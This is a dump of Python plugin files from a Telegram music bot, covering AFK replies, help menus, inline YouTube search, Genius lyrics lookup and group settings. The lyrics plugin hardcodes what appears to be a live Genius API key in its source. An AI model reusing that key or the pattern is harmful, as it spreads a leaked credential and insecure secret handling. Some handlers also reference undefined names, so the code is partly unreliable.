f\"**{user_name[:25]}** ɪs ʙᴀᴄᴋ ᴏɴʟɪɴᴇ\\n\\n\"\n\n    if message.reply_to_message:\n        try:\n            replied_first_name = message.reply_to_message.from_user.first_name\n            replied_user_id = message.reply_to_message.from_user.id\n            verifier, reasondb = await is_afk(replied_user_id)\n            if verifier:\n                try:\n                    afktype = reasondb[\"type\"]\n                    timeafk = reasondb[\"time\"]\n                    data = reasondb[\"data\"]\n                    reasonafk = reasondb[\"reason\"]\n                    seenago = get_readable_time((int(time.time() - timeafk)))\n                    if afktype == \"text\":\n                        msg += (\n                            f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\"\n                        )\n                    if afktype == \"text_reason\":\n                        msg += f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\"\n                    if afktype == \"animation\":\n                        if str(reasonafk) == \"None\":\n                            send = await message.reply_animation(\n                                data,\n                                caption=f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                            )\n                        else:\n                            send = await message.reply_animation(\n                                data,\n                                caption=f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                            )\n                    if afktype == \"photo\":\n                        if str(reasonafk) == \"None\":\n                            send = await message.reply_photo(\n                                photo=f\"downloads/{replied_user_id}.jpg\",\n                                caption=f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                            )\n                        else:\n                            send = await message.reply_photo(\n                                photo=f\"downloads/{replied_user_id}.jpg\",\n                                caption=f\"**{replied_first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                            )\n                except Exception:\n                    msg += f\"**{replied_first_name}** ɪs ᴀғᴋ,\\nᴩᴀᴛᴀ ɴɪ ʙᴄ ᴋᴀʙ sᴇ\\n\\n\"\n        except:\n            pass\n\n    if message.entities:\n        entity = message.entities\n        j = 0\n        for x in range(len(entity)):\n            if (entity[j].type) == MessageEntityType.MENTION:\n                found = re.findall(\"@([_0-9a-zA-Z]+)\", message.text)\n                try:\n                    get_user = found[j]\n                    user = await app.get_users(get_user)\n                    if user.id == replied_user_id:\n                        j += 1\n                        continue\n                except:\n                    j += 1\n                    continue\n                verifier, reasondb = await is_afk(user.id)\n                if verifier:\n                    try:\n                        afktype = reasondb[\"type\"]\n                        timeafk = reasondb[\"time\"]\n                        data = reasondb[\"data\"]\n                        reasonafk = reasondb[\"reason\"]\n                        seenago = get_readable_time((int(time.time() - timeafk)))\n                        if afktype == \"text\":\n                            msg += (\n                                f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\"\n                            )\n                        if afktype == \"text_reason\":\n                            msg += f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\"\n                        if afktype == \"animation\":\n                            if str(reasonafk) == \"None\":\n                                send = await message.reply_animation(\n                                    data,\n                                    caption=f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                                )\n                            else:\n                                send = await message.reply_animation(\n                                    data,\n                                    caption=f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                                )\n                        if afktype == \"photo\":\n                            if str(reasonafk) == \"None\":\n                                send = await message.reply_photo(\n                                    photo=f\"downloads/{user.id}.jpg\",\n                                    caption=f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                                )\n                            else:\n                                send = await message.reply_photo(\n                                    photo=f\"downloads/{user.id}.jpg\",\n                                    caption=f\"**{user.first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                                )\n                    except:\n                        msg += f\"**{user.first_name[:25]}** ɪs ᴀғᴋ\\n\\n\"\n            elif (entity[j].type) == MessageEntityType.TEXT_MENTION:\n                try:\n                    user_id = entity[j].user.id\n                    if user_id == replied_user_id:\n                        j += 1\n                        continue\n                    first_name = entity[j].user.first_name\n                except:\n                    j += 1\n                    continue\n                verifier, reasondb = await is_afk(user_id)\n                if verifier:\n                    try:\n                        afktype = reasondb[\"type\"]\n                        timeafk = reasondb[\"time\"]\n                        data = reasondb[\"data\"]\n                        reasonafk = reasondb[\"reason\"]\n                        seenago = get_readable_time((int(time.time() - timeafk)))\n                        if afktype == \"text\":\n                            msg += f\"**{first_name[:25]}** is ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\"\n                        if afktype == \"text_reason\":\n                            msg += f\"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\"\n                        if afktype == \"animation\":\n                            if str(reasonafk) == \"None\":\n                                send = await message.reply_animation(\n                                    data,\n                                    caption=f\"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                                )\n                            else:\n                                send = await message.reply_animation(\n                                    data,\n                                    caption=f\"**{first_name[:25]}** ɪs AFK sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                                )\n                        if afktype == \"photo\":\n                            if str(reasonafk) == \"None\":\n                                send = await message.reply_photo(\n                                    photo=f\"downloads/{user_id}.jpg\",\n                                    caption=f\"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\n\",\n                                )\n                            else:\n                                send = await message.reply_photo(\n                                    photo=f\"downloads/{user_id}.jpg\",\n                                    caption=f\"**{first_name[:25]}** ɪs ᴀғᴋ sɪɴᴄᴇ {seenago}\\n\\nʀᴇᴀsᴏɴ: `{reasonafk}`\\n\\n\",\n                                )\n                    except:\n                        msg += f\"**{first_name[:25]}** ɪs ᴀғᴋ\\n\\n\"\n            j += 1\n    if msg != \"\":\n        try:\n            send = await message.reply_text(msg, disable_web_page_preview=True)\n        except:\n            return\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/help.py",
    "content": "from typing import Union\n\nfrom pyrogram import filters, types\nfrom pyrogram.types import InlineKeyboardMarkup, Message, InlineKeyboardButton\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils import help_pannel\nfrom BrandrdXMusic.utils.database import get_lang\nfrom BrandrdXMusic.utils.decorators.language import LanguageStart, languageCB\nfrom BrandrdXMusic.utils.inline.help import help_back_markup, private_help_panel\nfrom config import BANNED_USERS, START_IMG_URL, SUPPORT_CHAT\nfrom strings import get_string, helpers\nfrom BrandrdXMusic.utils.stuffs.buttons import BUTTONS\nfrom BrandrdXMusic.utils.stuffs.helper import Helper\n\n\n@app.on_message(filters.command([\"help\"]) & filters.private & ~BANNED_USERS)\n@app.on_callback_query(filters.regex(\"settings_back_helper\") & ~BANNED_USERS)\nasync def helper_private(\n    client: app, update: Union[types.Message, types.CallbackQuery]\n):\n    is_callback = isinstance(update, types.CallbackQuery)\n    if is_callback:\n        try:\n            await update.answer()\n        except:\n            pass\n        chat_id = update.message.chat.id\n        language = await get_lang(chat_id)\n        _ = get_string(language)\n        keyboard = help_pannel(_, True)\n        await update.edit_message_text(\n            _[\"help_1\"].format(SUPPORT_CHAT), reply_markup=keyboard\n        )\n    else:\n        try:\n            await update.delete()\n        except:\n            pass\n        language = await get_lang(update.chat.id)\n        _ = get_string(language)\n        keyboard = help_pannel(_)\n        \n        await update.reply_video(\n            video=\"https://graph.org/file/84d30d4fd04570c0e0256.mp4\",\n            caption=_[\"help_1\"].format(SUPPORT_CHAT), reply_markup=keyboard)\n\n\n@app.on_message(filters.command([\"help\"]) & filters.group & ~BANNED_USERS)\n@LanguageStart\nasync def help_com_group(client, message: Message, _):\n    keyboard = private_help_panel(_)\n    await message.reply_video(\n        video=\"https://te.legra.ph/file/51293513e6af319726fe7.mp4\",\n        caption=_[\"help_2\"], reply_markup=InlineKeyboardMarkup(keyboard)\n    )\n\n@app.on_callback_query(filters.regex(\"help_callback\") & ~BANNED_USERS)\n@languageCB\nasync def helper_cb(client, CallbackQuery, _):\n    callback_data = CallbackQuery.data.strip()\n    cb = callback_data.split(None, 1)[1]\n    keyboard = help_back_markup(_)\n    if cb == \"hb1\":\n        await CallbackQuery.edit_message_text(helpers.HELP_1, reply_markup=keyboard)\n    elif cb == \"hb2\":\n        await CallbackQuery.edit_message_text(helpers.HELP_2, reply_markup=keyboard)\n    elif cb == \"hb3\":\n        await CallbackQuery.edit_message_text(helpers.HELP_3, reply_markup=keyboard)\n    elif cb == \"hb4\":\n        await CallbackQuery.edit_message_text(helpers.HELP_4, reply_markup=keyboard)\n    elif cb == \"hb5\":\n        await CallbackQuery.edit_message_text(helpers.HELP_5, reply_markup=keyboard)\n    elif cb == \"hb6\":\n        await CallbackQuery.edit_message_text(helpers.HELP_6, reply_markup=keyboard)\n    elif cb == \"hb7\":\n        await CallbackQuery.edit_message_text(helpers.HELP_7, reply_markup=keyboard)\n    elif cb == \"hb8\":\n        await CallbackQuery.edit_message_text(helpers.HELP_8, reply_markup=keyboard)\n    elif cb == \"hb9\":\n        await CallbackQuery.edit_message_text(helpers.HELP_9, reply_markup=keyboard)\n    elif cb == \"hb10\":\n        await CallbackQuery.edit_message_text(helpers.HELP_10, reply_markup=keyboard)\n    elif cb == \"hb11\":\n        await CallbackQuery.edit_message_text(helpers.HELP_11, reply_markup=keyboard)\n    elif cb == \"hb12\":\n        await CallbackQuery.edit_message_text(helpers.HELP_12, reply_markup=keyboard)\n    elif cb == \"hb13\":\n        await CallbackQuery.edit_message_text(helpers.HELP_13, reply_markup=keyboard)\n    elif cb == \"hb14\":\n        await CallbackQuery.edit_message_text(helpers.HELP_14, reply_markup=keyboard)\n    elif cb == \"hb15\":\n        await CallbackQuery.edit_message_text(helpers.HELP_15, reply_markup=keyboard)\n    \n\n@app.on_callback_query(filters.regex(\"mbot_cb\") & ~BANNED_USERS)\nasync def helper_cb(client, CallbackQuery):\n    await CallbackQuery.edit_message_text(Helper.HELP_M, reply_markup=InlineKeyboardMarkup(BUTTONS.MBUTTON))\n\n\n@app.on_callback_query(filters.regex('managebot123'))\nasync def on_back_button(client, CallbackQuery):\n    callback_data = CallbackQuery.data.strip()\n    cb = callback_data.split(None, 1)[1]\n    keyboard = help_pannel(_, True)\n    if cb == \"settings_back_helper\":\n        await CallbackQuery.edit_message_text(\n            _[\"help_1\"].format(SUPPORT_CHAT), reply_markup=keyboard\n        )\n\n@app.on_callback_query(filters.regex('mplus'))      \nasync def mb_plugin_button(client, CallbackQuery):\n    callback_data = CallbackQuery.data.strip()\n    cb = callback_data.split(None, 1)[1]\n    keyboard = InlineKeyboardMarkup([[InlineKeyboardButton(\"ʙᴀᴄᴋ\", callback_data=f\"mbot_cb\")]])\n    if cb == \"Okieeeeee\":\n        await CallbackQuery.edit_message_text(f\"`something errors`\",reply_markup=keyboard,parse_mode=enums.ParseMode.MARKDOWN)\n    else:\n        await CallbackQuery.edit_message_text(getattr(Helper, cb), reply_markup=keyboard)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/inline.py",
    "content": "from pyrogram.types import (\n    InlineKeyboardButton,\n    InlineKeyboardMarkup,\n    InlineQueryResultPhoto,\n)\nfrom youtubesearchpython.__future__ import VideosSearch\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.inlinequery import answer\nfrom config import BANNED_USERS\n\n\n@app.on_inline_query(~BANNED_USERS)\nasync def inline_query_handler(client, query):\n    text = query.query.strip().lower()\n    answers = []\n    if text.strip() == \"\":\n        try:\n            await client.answer_inline_query(query.id, results=answer, cache_time=10)\n        except:\n            return\n    else:\n        a = VideosSearch(text, limit=20)\n        result = (await a.next()).get(\"result\")\n        for x in range(15):\n            title = (result[x][\"title\"]).title()\n            duration = result[x][\"duration\"]\n            views = result[x][\"viewCount\"][\"short\"]\n            thumbnail = result[x][\"thumbnails\"][0][\"url\"].split(\"?\")[0]\n            channellink = result[x][\"channel\"][\"link\"]\n            channel = result[x][\"channel\"][\"name\"]\n            link = result[x][\"link\"]\n            published = result[x][\"publishedTime\"]\n            description = f\"{views} | {duration} ᴍɪɴᴜᴛᴇs | {channel}  | {published}\"\n            buttons = InlineKeyboardMarkup(\n                [\n                    [\n                        InlineKeyboardButton(\n                            text=\"ʏᴏᴜᴛᴜʙᴇ 🎄\",\n                            url=link,\n                        )\n                    ],\n                ]\n            )\n            searched_text = f\"\"\"\n❄ <b>ᴛɪᴛʟᴇ :</b> <a href={link}>{title}</a>\n\n⏳ <b>ᴅᴜʀᴀᴛɪᴏɴ :</b> {duration} ᴍɪɴᴜᴛᴇs\n👀 <b>ᴠɪᴇᴡs :</b> <code>{views}</code>\n🎥 <b>ᴄʜᴀɴɴᴇʟ :</b> <a href={channellink}>{channel}</a>\n⏰ <b>ᴘᴜʙʟɪsʜᴇᴅ ᴏɴ :</b> {published}\n\n\n<u><b>➻ ɪɴʟɪɴᴇ sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ʙʏ {app.name}</b></u>\"\"\"\n            answers.append(\n                InlineQueryResultPhoto(\n                    photo_url=thumbnail,\n                    title=title,\n                    thumb_url=thumbnail,\n                    description=description,\n                    caption=searched_text,\n                    reply_markup=buttons,\n                )\n            )\n        try:\n            return await client.answer_inline_query(query.id, results=answers)\n        except:\n            return\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/lyrics.py",
    "content": "import random\nimport re\nimport string\n\nimport lyricsgenius as lg\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.decorators.language import language\n\nfrom config import BANNED_USERS, lyrical\n\napi_key = \"fcXGwudRZTE8zdMOYKNMoRGIWfBjca_4s5wF5keHeCTd68yURmceO4MGhAbyx-qp\"\ny = lg.Genius(\n    api_key,\n    skip_non_songs=True,\n    excluded_terms=[\"(Remix)\", \"(Live)\"],\n    remove_section_headers=True,\n)\ny.verbose = False\n\n@app.on_message(filters.command([\"lyrics\"]) & ~BANNED_USERS)\nasync def lrsearch(client, message: Message):\n    if len(message.command) < 2:\n        return await message.reply_text(_[\"lyrics_1\"])\n\n    title = message.text.split(None, 1)[1]\n    m = await message.reply_text(_[\"lyrics_2\"])\n    \n    S = y.search_song(title, get_full_info=False)\n    if S is None:\n        return await m.edit(_[\"lyrics_3\"].format(title))\n\n    ran_hash = \"\".join(random.choices(string.ascii_uppercase + string.digits, k=10))\n    lyric = S.lyrics\n    if \"Embed\" in lyric:\n        lyric = re.sub(r\"\\d*Embed\", \"\", lyric)\n    lyrical[ran_hash] = lyric\n\n    upl = InlineKeyboardMarkup(\n        [\n            [\n                InlineKeyboardButton(\n                    text=_[\"L_B_1\"],\n                    url=f\"https://t.me/{app.username}?start=lyrics_{ran_hash}\",\n                ),\n            ]\n        ]\n    )\n    \n    await m.edit(_[\"lyrics_4\"], reply_markup=upl)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/settings.py",
    "content": "from pyrogram import filters\r\nfrom pyrogram.enums import ChatType\r\nfrom pyrogram.errors import MessageNotModified\r\nfrom pyrogram.types import (\r\n    CallbackQuery,\r\n    InlineKeyboardButton,\r\n    InlineKeyboardMarkup,\r\n    Message,\r\n    InputMediaPhoto,\r\n    InputMediaVideo,\r\n)\r\n\r\nfrom BrandrdXMusic import app\r\nfrom BrandrdXMusic.utils.database import (\r\n    add_nonadmin_chat,\r\n    get_authuser,\r\n    get_authuser_names,\r\n    get_playmode,\r\n    get_playtype,\r\n    get_upvote_count,\r\n    is_nonadmin_chat,\r\n    is_skipmode,\r\n    remove_nonadmin_chat,\r\n    set_playmode,\r\n    set_playtype,\r\n    set_upvotes,\r\n    skip_off,\r\n    skip_on,\r\n)\r\nfrom BrandrdXMusic.utils.decorators.admins import ActualAdminCB\r\nfrom BrandrdXMusic.utils.decorators.language import language, languageCB\r\nfrom BrandrdXMusic.utils.inline.settings import (\r\n    auth_users_markup,\r\n    playmode_users_markup,\r\n    setting_markup,\r\n    vote_mode_markup,\r\n)\r\nfrom BrandrdXMusic.utils.inline.start import private_panel\r\nfrom config import BANNED_USERS, OWNER_ID, MUSIC_BOT_NAME, START_IMG_URL\r\n\r\n\r\n@app.on_message(\r\n    filters.command([\"settings\", \"setting\"]) & filters.group & ~BANNED_USERS\r\n)\r\n@language\r\nasync def settings_mar(client, message: Message, _):\r\n    buttons = setting_markup(_)\r\n    await message.reply_text(\r\n        _[\"setting_1\"].format(app.mention, message.chat.id, message.chat.title),\r\n        reply_markup=InlineKeyboardMarkup(buttons),\r\n    )\r\n\r\n@app.on_callback_query(filters.regex(\"gib_source\") & ~BANNED_USERS)\r\n@languageCB\r\nasync def gib_repo(client, CallbackQuery, _):\r\n    await CallbackQuery.edit_message_media(\r\n        InputMediaVideo(\"https://te.legra.ph/file/ef47f077b671f69f8d8f0.mp4\"),\r\n        reply_markup=InlineKeyboardMarkup(\r\n            [[InlineKeyboardButton(text=\"ʙᴀᴄᴋ\", callback_data=f\"settingsback_helper\")]]\r\n        ),\r\n    )\r\n\r\n@app.on_callback_query(\r\n    filters.regex(\"settings_helper\") & ~BANNED_USERS\r\n)\r\n@languageCB\r\nasync def settings_cb(client, CallbackQuery, _):\r\n    try:\r\n        await CallbackQuery.answer(_[\"set_cb_5\"])\r\n    except:\r\n        pass\r\n    buttons = setting_markup(_)\r\n    return await CallbackQuery.edit_message_text(\r\n        _[\"setting_1\"].format(\r\n            CallbackQuery.message.chat.title,\r\n            CallbackQuery.message.chat.id,\r\n        ),\r\n        reply_markup=InlineKeyboardMarkup(buttons),\r\n    )\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"settingsback_helper\") & ~BANNED_USERS)\r\n@languageCB\r\nasync def settings_back_markup(client, CallbackQuery: CallbackQuery, _):\r\n    try:\r\n        await CallbackQuery.answer()\r\n    except:\r\n        pass\r\n    if CallbackQuery.message.chat.type == ChatType.PRIVATE:\r\n        await app.resolve_peer(OWNER_ID)\r\n        OWNER = OWNER_ID\r\n        buttons = private_panel(_)\r\n        return await CallbackQuery.edit_message_media(\r\n            InputMediaPhoto(\r\n                media=START_IMG_URL,\r\n                caption=_[\"start_2\"].format(\r\n                    CallbackQuery.from_user.first_name, app.mention),\r\n            ),\r\n            reply_markup=InlineKeyboardMarkup(buttons),\r\n        )\r\n    else:\r\n        buttons = setting_markup(_)\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n\r\n\r\n@app.on_callback_query(\r\n    filters.regex(\r\n        pattern=r\"^(SEARCHANSWER|PLAYMODEANSWER|PLAYTYPEANSWER|AUTHANSWER|ANSWERVOMODE|VOTEANSWER|PM|AU|VM)$\"\r\n    )\r\n    & ~BANNED_USERS\r\n)\r\n@languageCB\r\nasync def without_Admin_rights(client, CallbackQuery, _):\r\n    command = CallbackQuery.matches[0].group(1)\r\n    if command == \"SEARCHANSWER\":\r\n        try:\r\n            return await CallbackQuery.answer(_[\"setting_2\"], show_alert=True)\r\n        except:\r\n            return\r\n    if command == \"PLAYMODEANSWER\":\r\n        try:\r\n            return await CallbackQuery.answer(_[\"setting_5\"], show_alert=True)\r\n        except:\r\n            return\r\n    if command == \"PLAYTYPEANSWER\":\r\n        try:\r\n            return await CallbackQuery.answer(_[\"setting_6\"], show_alert=True)\r\n        except:\r\n            return\r\n    if command == \"AUTHANSWER\":\r\n        try:\r\n            return await CallbackQuery.answer(_[\"setting_3\"], show_alert=True)\r\n        except:\r\n            return\r\n    if command == \"VOTEANSWER\":\r\n        try:\r\n            return await CallbackQuery.answer(\r\n                _[\"setting_8\"],\r\n                show_alert=True,\r\n            )\r\n        except:\r\n            return\r\n    if command == \"ANSWERVOMODE\":\r\n        current = await get_upvote_count(CallbackQuery.message.chat.id)\r\n        try:\r\n            return await CallbackQuery.answer(\r\n                _[\"setting_9\"].format(current),\r\n                show_alert=True,\r\n            )\r\n        except:\r\n            return\r\n    if command == \"PM\":\r\n        try:\r\n            await CallbackQuery.answer(_[\"set_cb_2\"], show_alert=True)\r\n        except:\r\n            pass\r\n        playmode = await get_playmode(CallbackQuery.message.chat.id)\r\n        if playmode == \"Direct\":\r\n            Direct = True\r\n        else:\r\n            Direct = None\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            Group = True\r\n        else:\r\n            Group = None\r\n        playty = await get_playtype(CallbackQuery.message.chat.id)\r\n        if playty == \"Everyone\":\r\n            Playtype = None\r\n        else:\r\n            Playtype = True\r\n        buttons = playmode_users_markup(_, Direct, Group, Playtype)\r\n    if command == \"AU\":\r\n        try:\r\n            await CallbackQuery.answer(_[\"set_cb_1\"], show_alert=True)\r\n        except:\r\n            pass\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            buttons = auth_users_markup(_, True)\r\n        else:\r\n            buttons = auth_users_markup(_)\r\n    if command == \"VM\":\r\n        mode = await is_skipmode(CallbackQuery.message.chat.id)\r\n        current = await get_upvote_count(CallbackQuery.message.chat.id)\r\n        buttons = vote_mode_markup(_, current, mode)\r\n    try:\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n    except MessageNotModified:\r\n        return\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"FERRARIUDTI\") & ~BANNED_USERS)\r\n@ActualAdminCB\r\nasync def addition(client, CallbackQuery, _):\r\n    callback_data = CallbackQuery.data.strip()\r\n    mode = callback_data.split(None, 1)[1]\r\n    if not await is_skipmode(CallbackQuery.message.chat.id):\r\n        return await CallbackQuery.answer(_[\"setting_10\"], show_alert=True)\r\n    current = await get_upvote_count(CallbackQuery.message.chat.id)\r\n    if mode == \"M\":\r\n        final = current - 2\r\n        print(final)\r\n        if final == 0:\r\n            return await CallbackQuery.answer(\r\n                _[\"setting_11\"],\r\n                show_alert=True,\r\n            )\r\n        if final <= 2:\r\n            final = 2\r\n        await set_upvotes(CallbackQuery.message.chat.id, final)\r\n    else:\r\n        final = current + 2\r\n        print(final)\r\n        if final == 17:\r\n            return await CallbackQuery.answer(\r\n                _[\"setting_12\"],\r\n                show_alert=True,\r\n            )\r\n        if final >= 15:\r\n            final = 15\r\n        await set_upvotes(CallbackQuery.message.chat.id, final)\r\n    buttons = vote_mode_markup(_, final, True)\r\n    try:\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n    except MessageNotModified:\r\n        return\r\n\r\n\r\n@app.on_callback_query(\r\n    filters.regex(pattern=r\"^(MODECHANGE|CHANNELMODECHANGE|PLAYTYPECHANGE)$\")\r\n    & ~BANNED_USERS\r\n)\r\n@ActualAdminCB\r\nasync def playmode_ans(client, CallbackQuery, _):\r\n    command = CallbackQuery.matches[0].group(1)\r\n    if command == \"CHANNELMODECHANGE\":\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            await add_nonadmin_chat(CallbackQuery.message.chat.id)\r\n            Group = None\r\n        else:\r\n            await remove_nonadmin_chat(CallbackQuery.message.chat.id)\r\n            Group = True\r\n        playmode = await get_playmode(CallbackQuery.message.chat.id)\r\n        if playmode == \"Direct\":\r\n            Direct = True\r\n        else:\r\n            Direct = None\r\n        playty = await get_playtype(CallbackQuery.message.chat.id)\r\n        if playty == \"Everyone\":\r\n            Playtype = None\r\n        else:\r\n            Playtype = True\r\n        buttons = playmode_users_markup(_, Direct, Group, Playtype)\r\n    if command == \"MODECHANGE\":\r\n        try:\r\n            await CallbackQuery.answer(_[\"set_cb_3\"], show_alert=True)\r\n        except:\r\n            pass\r\n        playmode = await get_playmode(CallbackQuery.message.chat.id)\r\n        if playmode == \"Direct\":\r\n            await set_playmode(CallbackQuery.message.chat.id, \"Inline\")\r\n            Direct = None\r\n        else:\r\n            await set_playmode(CallbackQuery.message.chat.id, \"Direct\")\r\n            Direct = True\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            Group = True\r\n        else:\r\n            Group = None\r\n        playty = await get_playtype(CallbackQuery.message.chat.id)\r\n        if playty == \"Everyone\":\r\n            Playtype = False\r\n        else:\r\n            Playtype = True\r\n        buttons = playmode_users_markup(_, Direct, Group, Playtype)\r\n    if command == \"PLAYTYPECHANGE\":\r\n        try:\r\n            await CallbackQuery.answer(_[\"set_cb_3\"], show_alert=True)\r\n        except:\r\n            pass\r\n        playty = await get_playtype(CallbackQuery.message.chat.id)\r\n        if playty == \"Everyone\":\r\n            await set_playtype(CallbackQuery.message.chat.id, \"Admin\")\r\n            Playtype = False\r\n        else:\r\n            await set_playtype(CallbackQuery.message.chat.id, \"Everyone\")\r\n            Playtype = True\r\n        playmode = await get_playmode(CallbackQuery.message.chat.id)\r\n        if playmode == \"Direct\":\r\n            Direct = True\r\n        else:\r\n            Direct = None\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            Group = True\r\n        else:\r\n            Group = None\r\n        buttons = playmode_users_markup(_, Direct, Group, Playtype)\r\n    try:\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n    except MessageNotModified:\r\n        return\r\n\r\n\r\n@app.on_callback_query(filters.regex(pattern=r\"^(AUTH|AUTHLIST)$\") & ~BANNED_USERS)\r\n@ActualAdminCB\r\nasync def authusers_mar(client, CallbackQuery, _):\r\n    command = CallbackQuery.matches[0].group(1)\r\n    if command == \"AUTHLIST\":\r\n        _authusers = await get_authuser_names(CallbackQuery.message.chat.id)\r\n        if not _authusers:\r\n            try:\r\n                return await CallbackQuery.answer(_[\"setting_4\"], show_alert=True)\r\n            except:\r\n                return\r\n        else:\r\n            try:\r\n                await CallbackQuery.answer(_[\"set_cb_4\"], show_alert=True)\r\n            except:\r\n                pass\r\n            j = 0\r\n            await CallbackQuery.edit_message_text(_[\"auth_6\"])\r\n            msg = _[\"auth_7\"].format(CallbackQuery.message.chat.title)\r\n            for note in _authusers:\r\n                _note = await get_authuser(CallbackQuery.message.chat.id, note)\r\n                user_id = _note[\"auth_user_id\"]\r\n                admin_id = _note[\"admin_id\"]\r\n                admin_name = _note[\"admin_name\"]\r\n                try:\r\n                    user = await app.get_users(user_id)\r\n                    user = user.first_name\r\n                    j += 1\r\n                except:\r\n                    continue\r\n                msg += f\"{j}➤ {user}[<code>{user_id}</code>]\\n\"\r\n                msg += f\"   {_['auth_8']} {admin_name}[<code>{admin_id}</code>]\\n\\n\"\r\n            upl = InlineKeyboardMarkup(\r\n                [\r\n                    [\r\n                        InlineKeyboardButton(\r\n                            text=_[\"BACK_BUTTON\"], callback_data=f\"AU\"\r\n                        ),\r\n                        InlineKeyboardButton(\r\n                            text=_[\"CLOSE_BUTTON\"],\r\n                            callback_data=f\"close\",\r\n                        ),\r\n                    ]\r\n                ]\r\n            )\r\n            try:\r\n                return await CallbackQuery.edit_message_text(msg, reply_markup=upl)\r\n            except MessageNotModified:\r\n                return\r\n    try:\r\n        await CallbackQuery.answer(_[\"set_cb_3\"], show_alert=True)\r\n    except:\r\n        pass\r\n    if command == \"AUTH\":\r\n        is_non_admin = await is_nonadmin_chat(CallbackQuery.message.chat.id)\r\n        if not is_non_admin:\r\n            await add_nonadmin_chat(CallbackQuery.message.chat.id)\r\n            buttons = auth_users_markup(_)\r\n        else:\r\n            await remove_nonadmin_chat(CallbackQuery.message.chat.id)\r\n            buttons = auth_users_markup(_, True)\r\n    try:\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n    except MessageNotModified:\r\n        return\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"VOMODECHANGE\") & ~BANNED_USERS)\r\n@ActualAdminCB\r\nasync def vote_change(client, CallbackQuery, _):\r\n    command = CallbackQuery.matches[0].group(1)\r\n    try:\r\n        await CallbackQuery.answer(_[\"set_cb_3\"], show_alert=True)\r\n    except:\r\n        pass\r\n    mod = None\r\n    if await is_skipmode(CallbackQuery.message.chat.id):\r\n        await skip_off(CallbackQuery.message.chat.id)\r\n    else:\r\n        mod = True\r\n        await skip_on(CallbackQuery.message.chat.id)\r\n    current = await get_upvote_count(CallbackQuery.message.chat.id)\r\n    buttons = vote_mode_markup(_, current, mod)\r\n\r\n    try:\r\n        return await CallbackQuery.edit_message_reply_markup(\r\n            reply_markup=InlineKeyboardMarkup(buttons)\r\n        )\r\n    except MessageNotModified:\r\n        return\r\n"
  },
  {
    "path": "BrandrdXMusic/plugins/bot/songs.py",
